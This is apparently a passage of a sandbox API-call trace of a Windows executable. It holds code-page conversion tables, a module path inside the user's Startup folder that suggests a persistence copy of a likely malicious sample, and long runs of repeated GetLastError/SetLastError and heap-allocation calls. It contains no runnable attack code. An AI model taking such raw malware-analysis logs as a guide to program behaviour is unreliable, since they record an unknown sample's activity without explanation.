!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpDestStr=0x43edb8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ") returned 256 [0265.855] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸЀ", cchWideChar=256, lpMultiByteStr=0x43f46c, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xf7\xd8\xd9\xda\xdb\xdc\xdd\xde\x9f\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\xff\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xd7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x20\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\xb8\x8e\xe2\xed\xa4\xf7\x43", lpUsedDefaultChar=0x0) returned 256 [0265.855] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xf5f728, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\cprogramdatamicrosoftwindowsstart menuprogramsstartup1saas.exe12.exe")) returned 0xa0 [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.855] GetLastError () returned 0x0 [0265.855] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.856] SetLastError (dwErrCode=0x0) [0265.856] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.857] SetLastError (dwErrCode=0x0) [0265.857] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.858] SetLastError (dwErrCode=0x0) [0265.858] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.859] GetLastError () returned 0x0 [0265.859] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.860] SetLastError (dwErrCode=0x0) [0265.860] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.861] GetLastError () returned 0x0 [0265.861] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.862] GetLastError () returned 0x0 [0265.862] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.863] SetLastError (dwErrCode=0x0) [0265.863] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.864] SetLastError (dwErrCode=0x0) [0265.864] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.865] GetLastError () returned 0x0 [0265.865] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.866] GetLastError () returned 0x0 [0265.866] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.867] SetLastError (dwErrCode=0x0) [0265.867] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x0, Size=0xa9) returned 0x7c19b0 [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.868] GetLastError () returned 0x0 [0265.868] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.869] GetLastError () returned 0x0 [0265.869] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.870] SetLastError (dwErrCode=0x0) [0265.870] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.871] SetLastError (dwErrCode=0x0) [0265.871] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.872] SetLastError (dwErrCode=0x0) [0265.872] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.873] SetLastError (dwErrCode=0x0) [0265.873] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] GetLastError () returned 0x0 [0265.874] SetLastError (dwErrCode=0x0) [0265.874] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x9c) returned 0x7c1a68 [0265.874] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x1f) returned 0x7c1b10 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x36) returned 0x7c1b38 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x37) returned 0x7c1b78 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x3c) returned 0x7c1bb8 [0265.875] RtlAllocateHeap (HeapHandle=0x7c0000, Flags=0x8, Size=0x31) returned 0x7c1c00 [0265.875] RtlAllocateHeap 